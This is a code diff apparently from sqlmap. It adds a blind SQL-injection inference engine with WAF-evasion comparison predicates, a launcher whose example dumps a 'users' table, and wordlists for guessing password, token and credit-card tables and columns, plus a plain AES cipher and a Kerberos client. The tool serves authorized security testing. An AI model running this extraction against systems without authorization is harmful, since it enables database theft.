||||
distinct (str-like so `str(r)`/truthiness still read naturally)."""
|
||||
__slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings")
|
||||
|
||||
def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None):
|
||||
self.value = value
|
||||
self.is_null = is_null
|
||||
self.complete = complete
|
||||
self.truncated = truncated
|
||||
self.queries = queries
|
||||
self.warnings = warnings or []
|
||||
|
||||
@property
|
||||
def integrity(self):
|
||||
# classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated /
|
||||
# unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent
|
||||
# (value=None, is_null=True, complete=False) can never read as EXACT.
|
||||
if self.truncated:
|
||||
return Integrity.TRUNCATED
|
||||
if self.value is not None and _U_REPL in self.value:
|
||||
return Integrity.UNRESOLVED
|
||||
if not self.complete: # a hard warning / failed verify -> not exact
|
||||
return Integrity.FAILED
|
||||
if self.value is None:
|
||||
return Integrity.EXACT if self.is_null else Integrity.FAILED
|
||||
if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS):
|
||||
return Integrity.WHOLE_BUT_AMBIGUOUS
|
||||
return Integrity.EXACT
|
||||
|
||||
@property
|
||||
def exact(self):
|
||||
# True ONLY when the recovered bytes are proven identical to the source. Required for
|
||||
# any value that becomes executable SQL (identifier, qualifier, exact literal).
|
||||
return self.integrity == Integrity.EXACT
|
||||
|
||||
def __str__(self):
|
||||
return "" if self.value is None else self.value
|
||||
|
||||
def __bool__(self):
|
||||
return bool(self.value)
|
||||
|
||||
__nonzero__ = __bool__ # py2
|
||||
|
||||
def __repr__(self):
|
||||
return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)"
|
||||
% (self.value, self.is_null, self.integrity, self.truncated, self.queries,
|
||||
" warnings=%r" % self.warnings if self.warnings else ""))
|
||||
|
||||
|
||||
class BulkResult(object):
|
||||
"""List-like bulk-enumeration outcome that also reports completeness against an
|
||||
independent COUNT (so a truncated dump is visible, not silently short)."""
|
||||
__slots__ = ("values", "expected", "complete")
|
||||
|
||||
def __init__(self, values, expected=None, complete=True):
|
||||
self.values = values
|
||||
self.expected = expected
|
||||
self.complete = complete
|
||||
|
||||
def __iter__(self):
|
||||
return iter(self.values)
|
||||
|
||||
def __len__(self):
|
||||
return len(self.values)
|
||||
|
||||
def __getitem__(self, i):
|
||||
return self.values[i]
|
||||
|
||||
def __repr__(self):
|
||||
return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected))
|
||||
|
||||
|
||||
class Dialect(object):
|
||||
"""Discovered target profile - the synthesized 'queries.xml row'."""
|
||||
|
||||
__slots__ = ("concat", "substring", "length", "bytelen", "textcast",
|
||||
"coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset",
|
||||
"bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
|
||||
"identity", "catalog", "catalogEnum", "family", "product",
|
||||
"version", "evidence", "notes")
|
||||
|
||||
def __init__(self):
|
||||
self.identQuote = None # (open, close) identifier-quote chars, or None
|
||||
self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None
|
||||
self.concat = None # (name, template)
|
||||
self.substring = None
|
||||
self.length = None
|
||||
self.bytelen = None # (name, template) byte length (vs char length)
|
||||
self.textcast = None # (name, template) scalar -> text
|
||||
self.coalesce = None # (name, template) NULL guard
|
||||
self.charcode = None # None -> no code fn (direct-compare mode)
|
||||
self.charfrom = None
|
||||
self.hexfn = None # (name, template) for hex/byte extraction
|
||||
self.binwrap = None # (name, template) byte-ordered comparison wrapper
|
||||
self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode)
|
||||
self.bulkAgg = None # (name, template) row-aggregation for bulk enum
|
||||
self.dual = None # (name, from-suffix) tableless-SELECT skeleton
|
||||
self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
|
||||
self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok)
|
||||
self.identity = {}
|
||||
self.catalog = None
|
||||
self.catalogEnum = {} # {kind: (name_col, source, filter)}
|
||||
self.family = None # from the catalog probe
|
||||
self.product = None # best-guess product (the detective verdict)
|
||||
self.version = None # extracted banner string
|
||||
self.evidence = [] # [(signal, implication), ...]
|
||||
self.notes = []
|
||||
|
||||
def __repr__(self):
|
||||
pick = lambda x: x[0] if x else None
|
||||
return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r "
|
||||
"catalog=%r product=%r)" % (
|
||||
pick(self.concat), pick(self.substring), pick(self.length),
|
||||
self.compare, pick(self.dual), self.catalog,
|
||||
self.product or self.family))
|
||||
|
||||
|
||||
class InferenceStrategy(object):
|
||||
"""An immutable, host-consumable rendering of a discovered dialect.
|
||||
|
||||
This is the crystallization esperanto is really for: the discovery half produces
|
||||
ONE frozen strategy, and a host inference engine (ideally sqlmap's existing
|
||||
bisection - which already owns threading, hashDB resume, prediction, and the
|
||||
known-answer reliability litmus) drives the loop by calling these PURE render_*
|
||||
methods. No oracle here, no retrieval loop - just SQL construction from the
|
||||
discovered primitives. Frozen after construction so worker threads can share it.
|
||||
|
||||
The reference host loop `hostExtract()` below drives extraction using ONLY a
|
||||
strategy + an oracle, with no dependency on Esperanto's own retrieval code.
|
||||
|
||||
SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof.
|
||||
`hostExtract()` drives the code/collation/ordinal/equality char modes under an
|
||||
ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring-
|
||||
derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only
|
||||
(LIKE floor) or membership-only extraction, and the frozen field set does not yet
|
||||
carry every discovered semantic (hex-encoding confidence, IN support, wildcard
|
||||
semantics, substring/length units, cast bounds). Those modes/semantics must be added
|
||||
- or the claim narrowed - before this can be called a complete interface; the
|
||||
long-term direction is predicate renderers driven by sqlmap's own inference engine.
|
||||
"""
|
||||
|
||||
_FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
|
||||
"substring", "index_base", "length", "charcode", "charcode_sem",
|
||||
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash",
|
||||
"comparator", "cmp_template", "exact_witness")
|
||||
|
||||
def __init__(self, **kw):
|
||||
for f in self._FIELDS:
|
||||
object.__setattr__(self, f, kw.get(f))
|
||||
object.__setattr__(self, "_frozen", True)
|
||||
|
||||
def __setattr__(self, *a): # immutable
|
||||
raise AttributeError("InferenceStrategy is frozen")
|
||||
|
||||
# -- pure SQL construction (no oracle) ----------------------------------
|
||||
def substr(self, expr, pos, length=1):
|
||||
p = pos if self.index_base == 1 else pos - 1
|
||||
return self.substring.format(expr=expr, pos=p, len=length)
|
||||
|
||||
def renderLength(self, expr):
|
||||
return self.length.format(expr=expr)
|
||||
|
||||
def renderIsNull(self, expr):
|
||||
return "(%s) IS NULL" % expr
|
||||
|
||||
def renderCharExists(self, expr, pos):
|
||||
# a character exists at 1-based pos: its 1-char substring is non-empty. Uses '='
|
||||
# only (no '>'/'<'), and reads False for a past-end substring whether the engine
|
||||
# returns '' or NULL there - so length can be derived when there is no length fn.
|
||||
return "NOT ((%s)='')" % self.substr(expr, pos)
|
||||
|
||||
def renderHex(self, expr):
|
||||
return self.hexfn.format(expr=expr) if self.hexfn else None
|
||||
|
||||
def renderCode(self, expr, pos):
|
||||
# scalar code point of the char at pos (None unless a code fn was found)
|
||||
return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
|
||||
|
||||
def renderGt(self, expr, n, high=None):
|
||||
# "expr > n" via the DISCOVERED comparator, so a host driving this strategy
|
||||
# survives a WAF that strips '>'/'<' exactly as esperanto's own loop does.
|
||||
# BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't.
|
||||
if self.comparator == "between" and high is not None:
|
||||
return "%s BETWEEN %d AND %d" % (expr, n + 1, high)
|
||||
if self.cmp_template:
|
||||
return self.cmp_template.format(expr=expr, n=n)
|
||||
return "%s>%d" % (expr, n)
|
||||
|
||||
def renderCharCmp(self, expr, pos, ch, op=">"):
|
||||
# boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
|
||||
# is available (else the target's own collation)
|
||||
one = self.substr(expr, pos)
|
||||
if self.binwrap:
|
||||
return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch)))
|
||||
return "%s%s%s" % (one, op, self.lit(ch))
|
||||
|
||||
def renderExactEq(self, left, right):
|
||||
# whole-value byte-exact equality (hex > binary wrapper > plain)
|
||||
if self.hexfn:
|
||||
return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right))
|
||||
if self.binwrap:
|
||||
return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right))
|
||||
return "(%s)=(%s)" % (left, right)
|
||||
|
||||
def lit(self, value):
|
||||
s = value.replace("\\", "\\\\") if self.backslash else value
|
||||
return "'%s'" % s.replace("'", "''")
|
||||
|
||||
def buildLiteral(self, value):
|
||||
if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value):
|
||||
parts = [self.charfrom.format(code=ord(c)) for c in value]
|
||||
out = parts[0]
|
||||
for p in parts[1:]:
|
||||
out = self.concat.format(a=out, b=p)
|
||||
return out
|
||||
return self.lit(value)
|
||||
|
||||
def quoteIdent(self, name):
|
||||
if not self.identquote:
|
||||
return name
|
||||
o, c = self.identquote
|
||||
return "%s%s%s" % (o, name.replace(c, c * 2), c)
|
||||
|
||||
def asQueriesRow(self):
|
||||
"""The sqlmap queries.xml-shaped mapping - the concrete integration hook.
|
||||
These four templates are what sqlmap's inference/error/union machinery reads
|
||||
from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the
|
||||
char-code comparison through the DISCOVERED comparator, so a strategy that survives
|
||||
a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership
|
||||
mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate
|
||||
interface, not this 4-field row)."""
|
||||
inference = None
|
||||
if self.charcode:
|
||||
code = self.charcode.format(expr=self.substr("%s", "%d"))
|
||||
if self.comparator == "membership":
|
||||
inference = None
|
||||
elif self.cmp_template: # operator-free rung (SIGN/ABS/...)
|
||||
inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d")
|
||||
elif self.comparator == "between":
|
||||
inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code
|
||||
else: # gt
|
||||
inference = "%s>%%d" % code
|
||||
return {
|
||||
"length": self.length,
|
||||
"substring": self.substring,
|
||||
"inference": inference,
|
||||
"case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
|
||||
"hex": self.hexfn,
|
||||
}
|
||||
|
||||
def __repr__(self):
|
||||
return "InferenceStrategy(product=%r compare=%r catalog=%r)" % (
|
||||
self.product, self.compare_mode, self.catalog)
|
||||
|
||||
|
||||
class QueryBudgetExceeded(OracleUndecided):
|
||||
"""The configured hard oracle-call budget was exhausted mid-operation."""
|
||||
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this
|
||||
directory - no sqlmap, no PYTHONPATH, no `-m` incantation:
|
||||
|
||||
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --tables --dump -T users
|
||||
python run.py --self-test
|
||||
python run.py --live # local DBMS dev harness
|
||||
|
||||
The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine),
|
||||
so the whole directory can be copied elsewhere and still run. sqlmap uses the very same
|
||||
package via `from extra.esperanto import buildHandler`, handing the engine its own boolean
|
||||
oracle (checkBooleanExpression); this launcher is only for standalone use.
|
||||
"""
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
|
||||
# make this package importable by its own (folder) name from any working directory, so
|
||||
# the relative imports inside resolve, then hand off to the CLI in __main__
|
||||
_HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, os.path.dirname(_HERE))
|
||||
main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Common table/column names for the brute-force fallback used when the system catalog
|
||||
is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is
|
||||
the "know nothing about the schema, guess the usual names" path - the equivalent of
|
||||
sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are
|
||||
preferred when this package runs inside the repo; the bundled curated lists below are
|
||||
the self-contained fallback so the standalone CLI works with no external files.
|
||||
"""
|
||||
|
||||
import os
|
||||
|
||||
|
||||
# curated, most-common first; kept deliberately small so brute-forcing stays practical
|
||||
# over a slow blind oracle (sqlmap's full lists are used instead when available)
|
||||
_BUNDLED_TABLES = (
|
||||
"users", "user", "admin", "administrator", "accounts", "account", "members",
|
||||
"member", "customers", "customer", "clients", "client", "people", "persons",
|
||||
"employees", "staff", "contacts", "profiles", "profile", "sessions", "session",
|
||||
"orders", "order", "products", "product", "items", "item", "categories",
|
||||
"category", "cart", "carts", "invoices", "payments", "transactions", "coupons",
|
||||
"rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post",
|
||||
"articles", "pages", "page", "comments", "messages", "message", "news", "blog",
|
||||
"blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file",
|
||||
"uploads", "images", "documents", "media", "config", "configuration", "settings",
|
||||
"setting", "options", "preferences", "roles", "role", "permissions", "groups",
|
||||
"group", "tokens", "token", "secrets", "secret", "credentials", "passwords",
|
||||
"keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs",
|
||||
"log", "events", "event", "audit", "audit_log", "history", "activity", "data",
|
||||
"records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags",
|
||||
)
|
||||
|
||||
|
||||
_BUNDLED_COLUMNS = (
|
||||
"id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user",
|
||||
"login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd",
|
||||
"pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail",
|
||||
"first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname",
|
||||
"full_name", "surname", "display_name", "phone", "mobile", "tel", "address",
|
||||
"addr", "street", "city", "country", "state", "zip", "zipcode", "postcode",
|
||||
"dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin",
|
||||
"level", "active", "is_active", "enabled", "disabled", "banned", "status",
|
||||
"verified", "created", "created_at", "created_on", "updated", "updated_at",
|
||||
"modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time",
|
||||
"token", "api_key", "apikey", "session", "secret", "key", "value", "data",
|
||||
"content", "body", "text", "title", "subject", "description", "comment", "note",
|
||||
"notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer",
|
||||
"cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry",
|
||||
"amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code",
|
||||
"type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings",
|
||||
)
|
||||
|
||||
|
||||
def _fromFile(fname):
|
||||
# sqlmap's own wordlist when this runs inside the repo (data/txt/<fname>).
|
||||
# located relative to this file: extra/esperanto/ -> ../../data/txt/
|
||||
path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname)
|
||||
try:
|
||||
with open(path) as fh:
|
||||
names = [line.strip() for line in fh if line.strip() and not line.startswith("#")]
|
||||
return names or None
|
||||
except (IOError, OSError):
|
||||
return None
|
||||
|
||||
|
||||
def commonTables():
|
||||
"""Candidate table names, most-common first. sqlmap's list if present, else bundled."""
|
||||
return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES)
|
||||
|
||||
|
||||
def commonColumns():
|
||||
"""Candidate column names, most-common first. sqlmap's list if present, else bundled."""
|
||||
return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS)
|
||||
@@ -0,0 +1,6 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
@@ -0,0 +1,174 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free AES (FIPS-197) block cipher with CBC mode, supporting 128- and 256-bit keys. It is
|
||||
# the primitive underneath Kerberos' AES-CTS-HMAC-SHA1-96 (RFC 3962) etypes, kept pure-Python so
|
||||
# '--auth-type=Negotiate' needs no third-party crypto library. Validated against the FIPS-197
|
||||
# known-answer vectors. Python 2.7 / 3.x.
|
||||
#
|
||||
# The state is a flat list of 16 ints in AES column-major order: byte i holds row (i % 4), column
|
||||
# (i // 4), i.e. column c occupies positions [4*c : 4*c + 4].
|
||||
|
||||
def _gmul(a, b):
|
||||
"""Multiplication in GF(2**8) with the AES reduction polynomial 0x11b."""
|
||||
|
||||
p = 0
|
||||
for _ in range(8):
|
||||
if b & 1:
|
||||
p ^= a
|
||||
high = a & 0x80
|
||||
a = (a << 1) & 0xff
|
||||
if high:
|
||||
a ^= 0x1b
|
||||
b >>= 1
|
||||
return p
|
||||
|
||||
# GF(2**8) log/exp tables (generator 0x03) -> multiplicative inverse -> S-box (affine transform),
|
||||
# computed rather than transcribed so there is no 256-entry table to get wrong
|
||||
_EXP = [0] * 256
|
||||
_LOG = [0] * 256
|
||||
_x = 1
|
||||
for _i in range(255):
|
||||
_EXP[_i] = _x
|
||||
_LOG[_x] = _i
|
||||
_x = _gmul(_x, 0x03)
|
||||
|
||||
def _inv(b):
|
||||
return 0 if b == 0 else _EXP[(255 - _LOG[b]) % 255]
|
||||
|
||||
def _rotl8(b, n):
|
||||
return ((b << n) | (b >> (8 - n))) & 0xff
|
||||
|
||||
SBOX = []
|
||||
for _b in range(256):
|
||||
_v = _inv(_b)
|
||||
SBOX.append(_v ^ _rotl8(_v, 1) ^ _rotl8(_v, 2) ^ _rotl8(_v, 3) ^ _rotl8(_v, 4) ^ 0x63)
|
||||
|
||||
INV_SBOX = [0] * 256
|
||||
for _b in range(256):
|
||||
INV_SBOX[SBOX[_b]] = _b
|
||||
|
||||
RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d]
|
||||
|
||||
def _xor(a, b):
|
||||
if len(a) != len(b): # equal-length by construction; fail loud (not via assert, which -O strips)
|
||||
raise ValueError("XOR operands differ in length")
|
||||
return bytes(bytearray(x ^ y for x, y in zip(bytearray(a), bytearray(b))))
|
||||
|
||||
class AES(object):
|
||||
"""AES-128/256 block cipher (16-byte block) with a minimal CBC mode."""
|
||||
|
||||
def __init__(self, key):
|
||||
key = bytearray(key)
|
||||
if len(key) not in (16, 32):
|
||||
raise ValueError("AES key must be 16 or 32 bytes")
|
||||
self.rounds = 10 if len(key) == 16 else 14
|
||||
self._roundKeys = self._expand(key)
|
||||
|
||||
def _expand(self, key):
|
||||
nk = len(key) // 4
|
||||
words = [list(key[4 * i:4 * i + 4]) for i in range(nk)]
|
||||
for i in range(nk, 4 * (self.rounds + 1)):
|
||||
temp = list(words[i - 1])
|
||||
if i % nk == 0:
|
||||
temp = temp[1:] + temp[:1] # RotWord
|
||||
temp = [SBOX[b] for b in temp] # SubWord
|
||||
temp[0] ^= RCON[i // nk - 1]
|
||||
elif nk > 6 and i % nk == 4:
|
||||
temp = [SBOX[b] for b in temp]
|
||||
words.append([words[i - nk][j] ^ temp[j] for j in range(4)])
|
||||
|
||||
roundKeys = []
|
||||
for r in range(self.rounds + 1):
|
||||
rk = []
|
||||
for c in range(4):
|
||||
rk.extend(words[4 * r + c])
|
||||
roundKeys.append(rk)
|
||||
return roundKeys
|
||||
|
||||
@staticmethod
|
||||
def _addRoundKey(state, rk):
|
||||
for i in range(16):
|
||||
state[i] ^= rk[i]
|
||||
|
||||
@staticmethod
|
||||
def _shiftRows(s):
|
||||
out = [0] * 16
|
||||
for r in range(4):
|
||||
for c in range(4):
|
||||
out[r + 4 * c] = s[r + 4 * ((c + r) % 4)]
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _invShiftRows(s):
|
||||
out = [0] * 16
|
||||
for r in range(4):
|
||||
for c in range(4):
|
||||
out[r + 4 * c] = s[r + 4 * ((c - r) % 4)]
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _mixColumns(s):
|
||||
out = [0] * 16
|
||||
for c in range(4):
|
||||
col = s[4 * c:4 * c + 4]
|
||||
out[4 * c + 0] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3]
|
||||
out[4 * c + 1] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3]
|
||||
out[4 * c + 2] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3)
|
||||
out[4 * c + 3] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2)
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def _invMixColumns(s):
|
||||
out = [0] * 16
|
||||
for c in range(4):
|
||||
col = s[4 * c:4 * c + 4]
|
||||
out[4 * c + 0] = _gmul(col[0], 14) ^ _gmul(col[1], 11) ^ _gmul(col[2], 13) ^ _gmul(col[3], 9)
|
||||
out[4 * c + 1] = _gmul(col[0], 9) ^ _gmul(col[1], 14) ^ _gmul(col[2], 11) ^ _gmul(col[3], 13)
|
||||
out[4 * c + 2] = _gmul(col[0], 13) ^ _gmul(col[1], 9) ^ _gmul(col[2], 14) ^ _gmul(col[3], 11)
|
||||
out[4 * c + 3] = _gmul(col[0], 11) ^ _gmul(col[1], 13) ^ _gmul(col[2], 9) ^ _gmul(col[3], 14)
|
||||
return out
|
||||
|
||||
def encryptBlock(self, block):
|
||||
state = list(bytearray(block))
|
||||
self._addRoundKey(state, self._roundKeys[0])
|
||||
for r in range(1, self.rounds):
|
||||
state = self._mixColumns(self._shiftRows([SBOX[b] for b in state]))
|
||||
self._addRoundKey(state, self._roundKeys[r])
|
||||
state = self._shiftRows([SBOX[b] for b in state])
|
||||
self._addRoundKey(state, self._roundKeys[self.rounds])
|
||||
return bytes(bytearray(state))
|
||||
|
||||
def decryptBlock(self, block):
|
||||
state = list(bytearray(block))
|
||||
self._addRoundKey(state, self._roundKeys[self.rounds])
|
||||
for r in range(self.rounds - 1, 0, -1):
|
||||
state = [INV_SBOX[b] for b in self._invShiftRows(state)]
|
||||
self._addRoundKey(state, self._roundKeys[r])
|
||||
state = self._invMixColumns(state)
|
||||
state = [INV_SBOX[b] for b in self._invShiftRows(state)]
|
||||
self._addRoundKey(state, self._roundKeys[0])
|
||||
return bytes(bytearray(state))
|
||||
|
||||
def cbcEncrypt(self, iv, data):
|
||||
if len(data) % 16 != 0:
|
||||
raise ValueError("CBC input is not block-aligned")
|
||||
prev, out = iv, []
|
||||
for i in range(0, len(data), 16):
|
||||
prev = self.encryptBlock(_xor(data[i:i + 16], prev))
|
||||
out.append(prev)
|
||||
return b"".join(out)
|
||||
|
||||
def cbcDecrypt(self, iv, data):
|
||||
if len(data) % 16 != 0:
|
||||
raise ValueError("CBC input is not block-aligned")
|
||||
prev, out = iv, []
|
||||
for i in range(0, len(data), 16):
|
||||
block = data[i:i + 16]
|
||||
out.append(_xor(self.decryptBlock(block), prev))
|
||||
prev = block
|
||||
return b"".join(out)
|
||||
@@ -0,0 +1,411 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free Kerberos 5 client (RFC 4120) built on the in-tree DER codec and RFC 3961/3962
|
||||
# crypto. Implements the AS exchange (password -> TGT) with PA-ENC-TIMESTAMP pre-authentication;
|
||||
# the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing).
|
||||
# Python 2.7 / 3.x.
|
||||
|
||||
import calendar
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
|
||||
from extra.kerberos import der
|
||||
from extra.kerberos import spnego
|
||||
from extra.kerberos.crypto import ENCTYPES
|
||||
|
||||
GSS_CHECKSUM_TYPE = 0x8003 # RFC 4121 section 4.1.1 authenticator checksum
|
||||
GSS_CHECKSUM_FLAGS = 0 # no GSS context flags requested (no mutual/deleg)
|
||||
TICKET_LIFETIME_SECONDS = 10 * 3600 # requested 'till' offset (KDC clamps to its max)
|
||||
|
||||
# message types
|
||||
AS_REQ, AS_REP, TGS_REQ, TGS_REP, AP_REQ, KRB_ERROR = 10, 11, 12, 13, 14, 30
|
||||
|
||||
# principal name types
|
||||
NT_PRINCIPAL, NT_SRV_INST = 1, 2
|
||||
|
||||
# PA-DATA types
|
||||
PA_TGS_REQ, PA_ENC_TIMESTAMP, PA_ETYPE_INFO2 = 1, 2, 19
|
||||
|
||||
# KDC error code that carries the PA-ETYPE-INFO2 hint (etype/salt/iteration count) for pre-auth
|
||||
KDC_ERR_PREAUTH_REQUIRED = 25
|
||||
|
||||
# key usages (RFC 4120 section 7.5.1)
|
||||
USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1
|
||||
USAGE_AS_REP_ENCPART = 3
|
||||
USAGE_TGS_REQ_AUTH_CKSUM = 6
|
||||
USAGE_TGS_REQ_AUTH = 7
|
||||
USAGE_TGS_REP_ENCPART = 8
|
||||
USAGE_AP_REQ_AUTH = 11
|
||||
|
||||
PVNO = 5
|
||||
DEFAULT_ETYPES = (18, 17, 23) # aes256-cts, aes128-cts, rc4-hmac (best first)
|
||||
KDC_TIMEOUT = 10 # seconds for the KDC TCP exchange
|
||||
MAX_KDC_RESPONSE = 8 * 1024 * 1024 # cap on a KDC reply (guards a hostile length prefix)
|
||||
KERBEROS_TIME_FORMAT = "%Y%m%d%H%M%SZ" # RFC 4120 KerberosTime (always UTC)
|
||||
|
||||
# Bounds on the string-to-key work factor a KDC may ask for. The PA-ETYPE-INFO2 hint carrying it
|
||||
# arrives on an *unauthenticated* KRB-ERROR, and the field is a full 32 bits, so an absurd value would
|
||||
# either weaken the derived key against offline guessing or burn hours of CPU (RFC 3962 warns about
|
||||
# both and recommends configurable bounds). A count of 0 nominally means 2**32, which we cannot honour.
|
||||
MIN_PBKDF2_ITERATIONS = 4096 # the RFC 3962 default; nothing legitimate is lower
|
||||
MAX_PBKDF2_ITERATIONS = 1000000
|
||||
|
||||
def _enctype(etype):
|
||||
if etype not in ENCTYPES:
|
||||
raise KerberosError(-1, "unsupported encryption type %d (only AES-CTS-HMAC-SHA1 is implemented)" % etype)
|
||||
return ENCTYPES[etype]
|
||||
|
||||
class KerberosError(Exception):
|
||||
def __init__(self, code, text=None):
|
||||
Exception.__init__(self, "KDC error %d%s" % (code, ": %s" % text if text else ""))
|
||||
self.code = code
|
||||
|
||||
# ---- EXPLICIT-tag unwrap helpers ------------------------------------------------------------------
|
||||
# Kerberos uses EXPLICIT tagging: an [n] field's content is a complete inner TLV, so it must be
|
||||
# peeled before the value can be read. _fields() maps a SEQUENCE's [n] children to that inner TLV.
|
||||
def _fields(sequenceContent):
|
||||
out = {}
|
||||
for tag, inner in der.children(sequenceContent):
|
||||
if 0xA0 <= tag <= 0xBE: # context-specific, constructed [0]..[30]
|
||||
out[tag - 0xA0] = inner
|
||||
return out
|
||||
|
||||
def _expInteger(field):
|
||||
return der.decodeInteger(der.peel(field)[1])
|
||||
|
||||
def _expString(field):
|
||||
return der.decodeGeneralString(der.peel(field)[1])
|
||||
|
||||
def _expOctet(field):
|
||||
return bytes(der.peel(field)[1])
|
||||
|
||||
def _expFields(field):
|
||||
"""For an [n] field whose inner TLV is a SEQUENCE, return that SEQUENCE's field map."""
|
||||
|
||||
return _fields(der.peel(field)[1])
|
||||
|
||||
# ---- message building -----------------------------------------------------------------------------
|
||||
def _nonce():
|
||||
return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff
|
||||
|
||||
def _kerberosTime(offsetSeconds=0):
|
||||
return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(time.time() + offsetSeconds))
|
||||
|
||||
_timestampLock = threading.Lock()
|
||||
_lastMicros = -1
|
||||
|
||||
def _timestamp():
|
||||
"""(KerberosTime, microseconds) taken from a single clock reading and unique within the process.
|
||||
|
||||
An acceptor's replay cache rejects a repeated (ctime, cusec) for the same principal and service,
|
||||
and a threaded scan mints an authenticator per request, so the pair must never repeat; a strictly
|
||||
increasing microsecond counter also keeps cusec inside its INTEGER (0..999999) range by construction.
|
||||
"""
|
||||
|
||||
global _lastMicros
|
||||
|
||||
with _timestampLock:
|
||||
micros = max(int(time.time() * 1000000), _lastMicros + 1)
|
||||
_lastMicros = micros
|
||||
return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(micros // 1000000)), micros % 1000000
|
||||
|
||||
def _expTime(field):
|
||||
"""An [n]-wrapped KerberosTime as epoch seconds (None when absent or unparsable, so an unusual
|
||||
time format degrades ticket-expiry tracking rather than failing the exchange)."""
|
||||
|
||||
try:
|
||||
return calendar.timegm(time.strptime(der.decodeGeneralString(der.peel(field)[1]), KERBEROS_TIME_FORMAT))
|
||||
except ValueError:
|
||||
return None
|
